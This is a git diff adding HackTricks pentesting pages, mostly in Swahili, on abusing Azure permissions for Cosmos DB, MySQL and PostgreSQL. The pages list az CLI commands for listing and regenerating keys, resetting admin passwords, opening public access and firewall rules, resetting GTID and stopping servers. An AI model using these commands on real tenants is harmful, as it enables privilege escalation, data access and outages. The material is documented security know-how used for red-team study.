+{% endcode %}
+
+### "Microsoft.DocumentDB/databaseAccounts/regenerateKey/action"
+Kwa ruhusa hii, unaweza kuunda upya funguo za msingi au za sekondari kwa akaunti ya Azure Cosmos DB. Hii kwa kawaida hutumika kuboresha usalama kwa kubadilisha funguo za zamani, lakini inaweza kuathiri upatikanaji wa huduma au programu zinazotegemea funguo za sasa.
+
+{% code overflow="wrap" %}
+```bash
+az cosmosdb keys regenerate \
+--name \
+--resource-group \
+--key-kind
+
+```
+{% endcode %}
+
+### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/read"
+
+Kwa ruhusa hii, unaweza kuunda au kubadilisha triggers ndani ya kontena la database ya SQL katika akaunti ya Azure Cosmos DB. Triggers zinakuwezesha kutekeleza mantiki ya upande wa seva kama majibu ya operesheni.
+
+{% code overflow="wrap" %}
+```bash
+az cosmosdb sql trigger create \
+--account-name \
+--resource-group \
+--database-name \
+--container-name \
+--name \
+--body 'function trigger() { var context = getContext(); var request = context.getRequest(); request.setBody("Triggered operation!"); }' \
+--type Pre \
+--operation All
+```
+{% endcode %}
+
+### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/read"
+Kwa ruhusa hii, unaweza kuunda au kubadilisha taratibu zilizohifadhiwa ndani ya kontena la database ya SQL katika akaunti ya Azure Cosmos DB. Taratibu zilizohifadhiwa katika Cosmos DB ni kazi za JavaScript za upande wa seva ambazo zinakuwezesha kufunga mantiki ya kushughulikia data au kufanya operesheni moja kwa moja ndani ya database.
+
+{% code overflow="wrap" %}
+```bash
+az cosmosdb sql stored-procedure create \
+--account-name \
+--resource-group \
+--database-name \
+--container-name \
+--name \
+--body 'function sample() { return "Hello, Cosmos!"; }'
+```
+{% endcode %}
+
+### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/read"
+Kwa ruhusa hii, unaweza kuunda au kubadilisha vichocheo ndani ya kontena la hifadhidata ya SQL katika akaunti ya Azure Cosmos DB. Vichocheo vinakuruhusu kutekeleza mantiki ya upande wa seva kama jibu kwa operesheni kama vile kuingiza, kusasisha, au kufuta.
+
+{% code overflow="wrap" %}
+```bash
+az cosmosdb sql trigger create \
+--account-name \
+--resource-group \
+--database-name \
+--container-name \
+--name \
+--body 'function trigger() { var context = getContext(); var request = context.getRequest(); request.setBody("Triggered operation!"); }' \
+--type Pre \
+--operation All
+```
+{% endcode %}
+
+### "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/read" && "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/write"
+Kwa ruhusa hii, unaweza kuunda au kubadilisha makusanyo ndani ya hifadhidata za MongoDB katika akaunti ya Azure Cosmos DB. Makusanyo yanatumika kuhifadhi hati na kufafanua muundo na ugawaji wa data.
+
+{% code overflow="wrap" %}
+```bash
+az cosmosdb mongodb collection create \
+--account-name \
+--resource-group \
+--database-name \
+--name
+```
+{% endcode %}
+
+### "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/read"
+Kwa ruhusa hii, unaweza kuunda hifadhidata mpya za MongoDB ndani ya akaunti ya Azure Cosmos DB. Hii inaruhusu kuandaa hifadhidata mpya za kuhifadhi na kusimamia makusanyo na hati.
+
+{% code overflow="wrap" %}
+```bash
+az cosmosdb mongodb database create \
+--account-name \
+--resource-group \
+--name
+```
+{% endcode %}
+
+### "Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/read"
+Kwa ruhusa hii, unaweza kuunda ufafanuzi mpya wa majukumu ya MongoDB ndani ya akaunti ya Azure Cosmos DB. Hii inaruhusu kufafanua majukumu maalum yenye ruhusa maalum kwa watumiaji wa MongoDB.
+
+{% code overflow="wrap" %}
+```bash
+az cosmosdb mongodb role definition create \
+--account-name \
+--resource-group \
+--body '{
+"Id": ".readWriteRole",
+"RoleName": "readWriteRole",
+"Type": "CustomRole",
+"DatabaseName": "",
+"Privileges": [
+{
+"Resource": {
+"Db": "",
+"Collection": "mycollection"
+},
+"Actions": [
+"insert",
+"find",
+"update"
+]
+}
+],
+"Roles": []
+}'
+```
+{% endcode %}
+
+### "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read"
+Kwa ruhusa hii, unaweza kuunda maelezo mapya ya mtumiaji wa MongoDB ndani ya akaunti ya Azure Cosmos DB. Hii inaruhusu upatikanaji wa watumiaji wenye majukumu maalum na viwango vya ufikiaji kwa hifadhidata za MongoDB.
+{% code overflow="wrap" %}
+```bash
+az cosmosdb mongodb user definition create \
+--account-name \
+--resource-group \
+--body '{
+"Id": ".myUser",
+"UserName": "myUser",
+"Password": "mySecurePassword",
+"DatabaseName": "",
+"CustomData": "TestCustomData",
+"Mechanisms": "SCRAM-SHA-256",
+"Roles": [
+{
+"Role": "readWriteRole",
+"Db": ""
+}
+]
+}'
+```
+{% endcode %}
+
+{% hint style="success" %}
+Jifunze na fanya mazoezi ya AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Jifunze na fanya mazoezi ya GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
+
+
+Support HackTricks
+
+* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
+* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
+* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
+
+
+{% endhint %}
diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md
new file mode 100644
index 000000000..0964fe78c
--- /dev/null
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md
@@ -0,0 +1,167 @@
+# Az - MySQL Post Exploitation
+
+{% hint style="success" %}
+Jifunze na fanya mazoezi ya AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Jifunze na fanya mazoezi ya GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
+
+
+Support HackTricks
+
+* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
+* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
+* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
+
+
+{% endhint %}
+
+## MySQL Database Post Exploitation
+Kwa maelezo zaidi kuhusu MySQL Database angalia:
+
+{% content-ref url="../az-services/az-mysql.md" %}
+[az-mysql.md](../az-services/az-mysql.md)
+{% endcontent-ref %}
+
+### "Microsoft.DBforMySQL/flexibleServers/databases/write" && "Microsoft.DBforMySQL/flexibleServers/databases/read"
+
+Kwa ruhusa hii, unaweza kuunda databasi mpya ndani ya mfano wa MySQL Flexible Server kwenye Azure. Ingawa kitendo hiki chenyewe hakibadilishi rasilimali zilizopo, kuunda databasi kupita kiasi au bila ruhusa kunaweza kusababisha matumizi ya rasilimali, au matumizi mabaya ya seva.
+
+{% code overflow="wrap" %}
+```bash
+az mysql flexible-server db create \
+--server-name \
+--resource-group \
+--database-name
+```
+{% endcode %}
+
+### "Microsoft.DBforMySQL/flexibleServers/backups/write"
+
+Kwa ruhusa hii, unaweza kuanzisha uundaji wa nakala za akiba kwa mfano wa MySQL Flexible Server kwenye Azure. Hii inawawezesha watumiaji kuunda nakala za akiba kwa mahitaji, ambazo zinaweza kuwa na manufaa kwa kuhifadhi data katika maeneo maalum ya wakati.
+
+{% code overflow="wrap" %}
+```bash
+az mysql flexible-server backup create \
+--name \
+--resource-group
+--backup-name
+```
+{% endcode %}
+
+### "Microsoft.DBforMySQL/flexibleServers/advancedThreatProtectionSettings/write"
+
+Kwa ruhusa hii, unaweza kuunda au kusasisha mipangilio ya Advanced Threat Protection (ATP) kwa mfano wa MySQL Flexible Server kwenye Azure. Hii inaruhusu kuwezesha au kuzima vipengele vya usalama vilivyoundwa kugundua na kujibu shughuli zisizo za kawaida na vitisho vya uwezekano.
+
+{% code overflow="wrap" %}
+```bash
+az mysql flexible-server threat-protection-policy update \
+--name \
+--resource-group \
+--state
+```
+{% endcode %}
+
+### "Microsoft.DBforMySQL/flexibleServers/firewallRules/write"
+
+Kwa ruhusa hii, unaweza kuunda au kubadilisha sheria za firewall kwa mfano wa MySQL Flexible Server kwenye Azure. Hii inaruhusu udhibiti juu ya anwani za IP au maeneo gani yanaweza kufikia seva. Matumizi yasiyoidhinishwa au yasiyo sahihi ya ruhusa hii yanaweza kufichua seva kwa ufikiaji usiohitajika au mbaya.
+
+{% code overflow="wrap" %}
+```bash
+# Create Rule
+az mysql flexible-server firewall-rule create \
+--name \
+--resource-group \
+--rule-name \
+--start-ip-address \
+--end-ip-address
+
+# Update Rule
+az mysql flexible-server firewall-rule update \
+--name \
+--resource-group \
+--rule-name \
+--start-ip-address \
+--end-ip-address
+```
+{% endcode %}
+
+### "Microsoft.DBforMySQL/flexibleServers/resetGtid/action"
+
+Kwa ruhusa hii, unaweza kurekebisha GTID (Global Transaction Identifier) kwa mfano wa MySQL Flexible Server kwenye Azure. Kurekebisha GTID kutafanya kuwa batili backups zote za kiotomatiki, za mahitaji na geo-backups ambazo zilichukuliwa kabla ya hatua ya kurekebisha. Baada ya kurekebisha GTID, hautaweza kufanya PITR (point-in-time-restore) ukitumia pointi ya kurejesha haraka au kwa pointi ya kurejesha maalum ikiwa wakati wa kurejesha uliochaguliwa uko kabla ya wakati wa kurekebisha GTID. Na kurejesha kwa mafanikio kwa geo kutakuwa na uwezekano tu baada ya siku 5.
+
+{% code overflow="wrap" %}
+```bash
+az mysql flexible-server reset-gtid \
+--name \
+--resource-group \
+--gtid-set
+```
+{% endcode %}
+
+### "Microsoft.DBforMySQL/flexibleServers/updateConfigurations/action"
+
+Kwa ruhusa hii, unaweza kuboresha mipangilio ya usanidi wa mfano wa MySQL Flexible Server kwenye Azure. Hii inaruhusu kubadilisha vigezo vya seva kama vile uboreshaji wa utendaji, mipangilio ya usalama, au mipangilio ya uendeshaji. Unaweza kuboresha vigezo vifuatavyo kwa pamoja katika kundi: audit_log_enabled, audit_log_events, binlog_expire_logs_seconds, binlog_row_image, character_set_server, collation_server, connect_timeout, enforce_gtid_consistency, gtid_mode, init_connect, innodb_buffer_pool_size, innodb_io_capacity, innodb_io_capacity_max, innodb_purge_threads, innodb_read_io_threads, innodb_thread_concurrency, innodb_write_io_threads, long_query_time, max_connect_errors, na max_connections.
+
+{% code overflow="wrap" %}
+```bash
+az mysql flexible-server parameter set-batch \
+--resource-group \
+--server-name \
+--args max_connections=
+```
+{% endcode %}
+
+### "Microsoft.DBforMySQL/flexibleServers/read", "Microsoft.DBforMySQL/flexibleServers/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action"
+
+Kwa ruhusa hii, unaweza kupewa kitambulisho cha usimamizi kilichoteuliwa na mtumiaji kwa seva za MySQL flexible.
+
+{% code overflow="wrap" %}
+```bash
+az mysql flexible-server identity assign \
+--resource-group \
+--server-name \
+--identity
+```
+{% endcode %}
+
+### "Microsoft.DBforMySQL/flexibleServers/stop/action"
+
+Kwa ruhusa hii, unaweza kusitisha mfano wa PostgreSQL Flexible Server kwenye Azure. Kusitisha seva kunaweza kusababisha usumbufu wa huduma wa muda, ukihusisha programu na watumiaji wanaotegemea hifadhidata.
+
+{% code overflow="wrap" %}
+```bash
+az mysql flexible-server stop \
+--name \
+--resource-group
+```
+{% endcode %}
+
+### "Microsoft.DBforMySQL/flexibleServers/start/action"
+With this permission, you can start a stopped PostgreSQL Flexible Server instance on Azure. Starting a server restores its availability, enabling applications and users to reconnect and access the database.
+
+{% code overflow="wrap" %}
+```bash
+az mysql flexible-server start \
+--name \
+--resource-group
+```
+{% endcode %}
+
+### "*/delete"
+
+With this permissions you can delete resources related to mysql server in Azure such as server, firewalls, managed identities or configurations
+
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
+
+
+Support HackTricks
+
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+
+
+{% endhint %}
diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md
new file mode 100644
index 000000000..f0b1b3e69
--- /dev/null
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md
@@ -0,0 +1,155 @@
+# Az - PostgreSQL Post Exploitation
+
+{% hint style="success" %}
+Jifunze na fanya mazoezi ya AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Jifunze na fanya mazoezi ya GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
+
+
+Support HackTricks
+
+* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
+* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
+* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+
+
+{% endhint %}
+
+## PostgreSQL Database Post Exploitation
+Kwa maelezo zaidi kuhusu PostgreSQL Database angalia:
+
+{% content-ref url="../az-services/az-postgresql.md" %}
+[az-postgresql.md](../az-services/az-postgresql.md)
+{% endcontent-ref %}
+
+### "Microsoft.DBforPostgreSQL/flexibleServers/databases/write" && "Microsoft.DBforPostgreSQL/flexibleServers/databases/read"
+
+Kwa ruhusa hii, unaweza kuunda hifadhidata mpya ndani ya mfano wa Postgres Flexible Server kwenye Azure. Ingawa kitendo hiki mwenyewe hakibadilishi rasilimali zilizopo, kuunda hifadhidata kupita kiasi au bila ruhusa kunaweza kusababisha matumizi ya rasilimali, au matumizi mabaya ya seva.
+
+{% code overflow="wrap" %}
+```bash
+az postgres flexible-server db create \
+--server-name \
+--resource-group \
+--database-name
+```
+{% endcode %}
+
+### "Microsoft.DBforPostgreSQL/flexibleServers/backups/write"
+
+Kwa ruhusa hii, unaweza kuanzisha uundaji wa nakala za akiba kwa mfano wa Postgres Flexible Server kwenye Azure. Hii inawawezesha watumiaji kuunda nakala za akiba kwa mahitaji, ambazo zinaweza kuwa muhimu kwa kuhifadhi data katika maeneo maalum ya wakati.
+
+{% code overflow="wrap" %}
+```bash
+az postgres flexible-server backup create \
+--name \
+--resource-group
+--backup-name
+```
+{% endcode %}
+
+### "Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/write" && "Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/read"
+
+Kwa ruhusa hii, unaweza kuunda au kusasisha mipangilio ya Advanced Threat Protection (ATP) kwa mfano wa Postgres Flexible Server kwenye Azure. Hii inaruhusu kuwezesha au kuzima vipengele vya usalama vilivyoundwa kugundua na kujibu shughuli zisizo za kawaida na vitisho vinavyoweza kutokea.
+
+{% code overflow="wrap" %}
+```bash
+az postgres flexible-server threat-protection-policy update \
+--name \
+--resource-group \
+--state
+```
+{% endcode %}
+
+### "Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/write", "Microsoft.DBforPostgreSQL/flexibleServers/read" && "Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/read"
+
+Kwa ruhusa hii, unaweza kuunda au kubadilisha sheria za firewall kwa mfano wa Postgres Flexible Server kwenye Azure. Hii inaruhusu udhibiti juu ya anwani za IP au maeneo gani yanaweza kufikia seva. Matumizi yasiyoidhinishwa au yasiyo sahihi ya ruhusa hii yanaweza kufichua seva kwa ufikiaji usiohitajika au mbaya.
+
+{% code overflow="wrap" %}
+```bash
+# Create Rule
+az postgres flexible-server firewall-rule create \
+--name \
+--resource-group \
+--rule-name \
+--start-ip-address \
+--end-ip-address
+
+# Update Rule
+az postgres flexible-server firewall-rule update \
+--name \
+--resource-group \
+--rule-name \
+--start-ip-address \
+--end-ip-address
+```
+{% endcode %}
+
+### "Microsoft.DBforPostgreSQL/flexibleServers/configurations/write" && "Microsoft.DBforPostgreSQL/flexibleServers/configurations/read"
+
+Kwa ruhusa hii, unaweza kuboresha mipangilio ya usanidi wa mfano wa Postgres Flexible Server kwenye Azure. Hii inaruhusu kubadilisha vigezo vya seva kama vile uboreshaji wa utendaji, mipangilio ya usalama, au mipangilio ya uendeshaji.
+
+{% code overflow="wrap" %}
+```bash
+az postgres flexible-server parameter set \
+--resource-group \
+--server-name \
+--name \
+--value
+```
+{% endcode %}
+
+### "Microsoft.DBforPostgreSQL/flexibleServers/stop/action"
+
+Kwa ruhusa hii, unaweza kusitisha mfano wa PostgreSQL Flexible Server kwenye Azure. Kusitisha seva kunaweza kusababisha usumbufu wa huduma wa muda, ukihusisha programu na watumiaji wanaotegemea hifadhidata.
+
+{% code overflow="wrap" %}
+```bash
+az postgres flexible-server stop \
+--name \
+--resource-group
+```
+{% endcode %}
+
+### "Microsoft.DBforPostgreSQL/flexibleServers/start/action"
+With this permission, you can start a stopped PostgreSQL Flexible Server instance on Azure. Starting a server restores its availability, enabling applications and users to reconnect and access the database.
+
+{% code overflow="wrap" %}
+```bash
+az postgres flexible-server start \
+--name \
+--resource-group
+```
+{% endcode %}
+
+### "Microsoft.DBforPostgreSQL/flexibleServers/read", "Microsoft.DBforPostgreSQL/flexibleServers/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action"
+
+With this permission, you can assign a user-assigned managed identity to postgres flexible servers.
+
+{% code overflow="wrap" %}
+```bash
+az postgres flexible-server identity assign \
+--resource-group \
+--server-name \
+--identity
+```
+{% endcode %}
+
+### "*/delete"
+With this permissions you can delete resources related to postgres server in Azure such as server, firewalls, managed identities or configurations
+
+
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
+
+
+Support HackTricks
+
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+
+
+{% endhint %}
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md
new file mode 100644
index 000000000..3a1c23a0f
--- /dev/null
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md
@@ -0,0 +1,93 @@
+# Az - CosmosDB Privesc
+
+{% hint style="success" %}
+Jifunze na fanya mazoezi ya AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Jifunze na fanya mazoezi ya GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
+
+
+Support HackTricks
+
+* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
+* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
+* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+
+
+{% endhint %}
+
+## CosmosDB Privesc
+Kwa maelezo zaidi kuhusu SQL Database angalia:
+
+{% content-ref url="../az-services/az-cosmosDB.md" %}
+[az-cosmosDB.md](../az-services/az-cosmosDB.md)
+{% endcontent-ref %}
+
+### ("Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/write", "Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/read") & ("Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/write", "Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/read")
+
+Kwa ruhusa hizi unaweza kupandisha hadhi kwa kumuwezesha mtumiaji ruhusa za kutekeleza maswali na kuungana na database. Kwanza, jukumu la ufafanuzi linaundwa likitoa ruhusa na mipaka inayohitajika.
+
+{% code overflow="wrap" %}
+```bash
+az cosmosdb sql role definition create \
+--account-name \
+--resource-group \
+--body '{
+"Id": "", # For example 12345678-1234-1234-1234-123456789az
+"RoleName": "CustomReadRole",
+"Type": "CustomRole",
+"AssignableScopes": [
+"/subscriptions//resourceGroups/sqldatabase/providers/Microsoft.DocumentDB/databaseAccounts/"
+],
+"Permissions": [
+{
+"DataActions": [
+"Microsoft.DocumentDB/databaseAccounts/readMetadata",
+"Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/items/read",
+"Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/*"
+]
+}
+]
+}'
+```
+{% endcode %}
+
+Baada ya hapo, ugawaji wa ufafanuzi unatolewa kwa mtumiaji. Baada ya hii, mtumiaji huyo anaweza kutumia njia ya muunganisho ya DefaultAzureCredential() kutekeleza maswali.
+
+{% code overflow="wrap" %}
+```bash
+az cosmosdb sql role assignment create \
+--account-name \
+--resource-group \
+--role-definition-id \
+--principal-id \
+--scope "/"
+```
+{% endcode %}
+
+### "Microsoft.DocumentDB/databaseAccounts/listKeys/action"
+Kwa ruhusa hii, unaweza kupata funguo za msingi na za sekondari za akaunti ya Azure Cosmos DB. Funguo hizi zinatoa ufikiaji kamili kwa akaunti ya database na rasilimali zake, zikiwezesha vitendo kama vile kusoma data, kuandika, na mabadiliko ya usanidi.
+
+{% code overflow="wrap" %}
+```bash
+az cosmosdb keys list \
+--name \
+--resource-group
+
+```
+{% endcode %}
+
+
+{% hint style="success" %}
+Jifunze na fanya mazoezi ya AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Jifunze na fanya mazoezi ya GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
+
+
+Support HackTricks
+
+* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
+* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
+* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
+
+
+{% endhint %}
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md
new file mode 100644
index 000000000..008aff2f2
--- /dev/null
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md
@@ -0,0 +1,91 @@
+# Az - MySQL Database Privesc
+
+{% hint style="success" %}
+Jifunze na fanya mazoezi ya AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Jifunze na fanya mazoezi ya GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
+
+
+Support HackTricks
+
+* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
+* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
+* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
+
+
+{% endhint %}
+
+## MySQL Database Privesc
+Kwa maelezo zaidi kuhusu SQL Database angalia:
+
+{% content-ref url="../az-services/az-mysql.md" %}
+[az-mysql.md](../az-services/az-mysql.md)
+{% endcontent-ref %}
+
+### ""Microsoft.DBforMySQL/flexibleServers/read" && "Microsoft.DBforMySQL/flexibleServers/write"
+
+Kwa ruhusa hii, unaweza kuunda, kusasisha, au kufuta mifano ya MySQL Flexible Server kwenye Azure. Hii inajumuisha kutoa seva mpya, kubadilisha mipangilio ya seva zilizopo, au kufuta seva.
+
+{% code overflow="wrap" %}
+```bash
+az mysql flexible-server create \
+--name \
+--resource-group \
+--location \
+--admin-user \
+--admin-password \
+--sku-name \
+--storage-size \
+--tier \
+--version
+```
+{% endcode %}
+
+Kwa mfano, ruhusa hizi zinaruhusu kubadilisha nenosiri la MySQL, muhimu bila shaka katika kesi ambapo uthibitishaji wa MySQL umewezeshwa.
+
+{% code overflow="wrap" %}
+```bash
+az mysql flexible-server update \
+--resource-group \
+--name \
+--admin-password
+```
+{% endcode %}
+
+Zaidi ya hayo, ni muhimu kuwa na ufikiaji wa umma umewezeshwa ikiwa unataka kufikia kutoka kwa kiunganishi kisichokuwa cha kibinafsi, ili kuuwezesha:
+
+{% code overflow="wrap" %}
+```bash
+az mysql flexible-server update --resource-group --server-name --public-access Enabled
+```
+{% endcode %}
+
+### ""Microsoft.DBforMySQL/flexibleServers/read", "Microsoft.DBforMySQL/flexibleServers/write", "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action", "Microsoft.DBforMySQL/flexibleServers/administrators/write" && "Microsoft.DBforMySQL/flexibleServers/administrators/read""
+
+Kwa ruhusa hii, unaweza kuunda wasimamizi wa Azure Active Directory (AD) kwa seva ya MySQL Flexible. Hii inaweza kutumiwa kwa kuweka mwenyewe au akaunti nyingine kama msimamizi wa AD, ikitoa udhibiti kamili wa kiutawala juu ya seva ya MySQL. Ni muhimu kwamba seva ya flexible-server iwe na utambulisho wa usimamizi wa mtumiaji ulioteuliwa ili kutumika.
+
+{% code overflow="wrap" %}
+```bash
+az mysql flexible-server ad-admin create \
+--resource-group \
+--server-name \
+--display-name \
+--identity \
+--object-id
+```
+{% endcode %}
+
+{% hint style="success" %}
+Jifunze na fanya mazoezi ya AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Jifunze na fanya mazoezi ya GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
+
+
+Support HackTricks
+
+* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
+* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
+* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
+
+
+{% endhint %}
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md
new file mode 100644
index 000000000..99b787398
--- /dev/null
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md
@@ -0,0 +1,93 @@
+# Az - PostgreSQL Privesc
+
+{% hint style="success" %}
